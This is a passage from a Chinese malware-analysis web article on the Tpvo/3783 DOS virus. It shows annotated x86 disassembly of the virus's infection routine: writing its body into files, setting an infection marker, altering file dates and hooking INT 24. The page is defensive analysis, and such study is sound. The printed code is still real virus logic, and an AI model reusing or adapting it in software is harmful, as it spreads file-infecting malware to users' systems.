Tpvo/3783 病毒的分析和防治

• F6C8:0B7B E82300　　　　CALL　　0BA1
  F6C8:0B7E 894504　　　　MOV　　 [DI+04],AX ;设置新的文件长
  F6C8:0B81 895502　　　　MOV　　 [DI+02],DX
  F6C8:0B84 E80901　　　　CALL　　0C90 ;写文件头 40H 字节
  F6C8:0B87 7215　　　　　JB　　　0B9E
  F6C8:0B89 E82101　　　　CALL　　0CAD ;DOS 4202 功能
  F6C8:0B8C B440　　　　　MOV　　 AH,40
  F6C8:0B8E B9C70E　　　　MOV　　 CX,0EC7 ;写病毒 0EC7 字节
  F6C8:0B91 99　　　　　　CWD　　
  F6C8:0B92 E80A01　　　　CALL　　0C9F
  F6C8:0B95 7207　　　　　JB　　　0B9E
  F6C8:0B97 E83B01　　　　CALL　　0CD5 ;取文件句柄表地址
  F6C8:0B9A 804510C8　　　ADD　　 BYTE PTR [DI+10],C8 ;设置传染标记
  F6C8:0B9E E956FE　　　　JMP　　 09F7 ;文件日期加上 200 年
  ;======================================================================
  F6C8:0BA1 B90002　　　　MOV　　 CX,0200
  F6C8:0BA4 F7F1　　　　　DIV　　 CX
  F6C8:0BA6 0BD2　　　　　OR　　　DX,DX
  F6C8:0BA8 7401　　　　　JZ　　　0BAB
  F6C8:0BAA 40　　　　　　INC　　 AX
  F6C8:0BAB C3　　　　　　RET　　
  ;======================================================================
  F6C8:0BAC 40　　　　　　INC　　 AX
  F6C8:0BAD 3D4E5A　　　　CMP　　 AX,5A4E
  F6C8:0BB0 7403　　　　　JZ　　　0BB5
  F6C8:0BB2 3D5B4D　　　　CMP　　 AX,4D5B
  F6C8:0BB5 C3　　　　　　RET　　
  ;=======================================================================
  ;设置新的 INT 24 中断向量到 CS:0BEB
  F6C8:0BB6 50　　　　　　PUSH　　AX
  F6C8:0BB7 53　　　　　　PUSH　　BX
  F6C8:0BB8 52　　　　　　PUSH　　DX
  F6C8:0BB9 1E　　　　　　PUSH　　DS
  F6C8:0BBA 06　　　　　　PUSH　　ES
  F6C8:0BBB 0E　　　　　　PUSH　　CS
  F6C8:0BBC 1F　　　　　　POP　　 DS
  F6C8:0BBD B82435　　　　MOV　　 AX,3524
  F6C8:0BC0 E83701　　　　CALL　　0CFA
  F6C8:0BC3 891E7311　　　MOV　　 [1173],BX
  F6C8:0BC7 8C067511　　　MOV　　 [1175],ES
  F6C8:0BCB B425　　　　　MOV　　 AH,25
  F6C8:0BCD BAEB0B　　　　MOV　　 DX,0BEB
  F6C8:0BD0 E82701　　　　CALL　　0CFA
  F6C8:0BD3 07　　　　　　POP　　 ES
  F6C8:0BD4 1F　　　　　　POP　　 DS
  F6C8:0BD5 5A　　　　　　POP　　 DX
  F6C8:0BD6 5B　　　　　　POP　　 BX
  
• 上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20] [21] [22] [23] [24] [25] [26] [27] [28] [29] [30] [31] [32] [33] [34] [35] [36] [37] [38] [39] [40] [41] [42] 下一页 
• 复制本页网址和标题，发送给你QQ/Msn的好友一起分享
  
  
• Tpvo/3783 病毒的分析和防治 相关文章：
• ·系统漏洞的形成和防治办法
• ·减治法：C#实现插入排序实例
• ·网络工程师讲解系统安全漏洞的形成和防治
• ·李治国：急躁公司做不了分类信息
• ·网络工程师教您防治常见网络攻击
• ·通过Rational的工具来实现SOA治理
• ·利用Mcafee根治Viking 威金病毒
• ·理清SOA治理中的架构师角色
• ·VeryCD:迅雷增强共享机制说治标不治本
• ·巧妙设置系统 轻松防治邮件病毒
• Tpvo/3783 病毒的分析和防治 相关软件
• ·《资治通鉴》注释版（全五册）
• ·贞观之治
• ·本殖民统治台湾五十年史
• ·《常见皮肤性病诊断与治疗》
• ·福赛斯经典政治惊险小说《豺狼的日子》
• ·《威权统治下的中国现状与前景》
• ·新疆好地方－庆祝新疆自治区50周年摄影集
• ·统治世界2
• ·曾胡治兵语录
• ·佐治药言

上一篇:UNIX系统上实现拨号

下一篇:网络资源的列举

• 特别声明：本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载，但请务必注明出处和原始作
• 者.文章版权归文章原始作者所有.对于被本站转载文章的个人和网站，我们表示深深的谢意。如果本站转
• 载的文章有版权问题请联系编辑人员,我们尽快予以更正. 转载请注明来源：http://www.hackhome.com

精品推荐

热点TOP10

特别推荐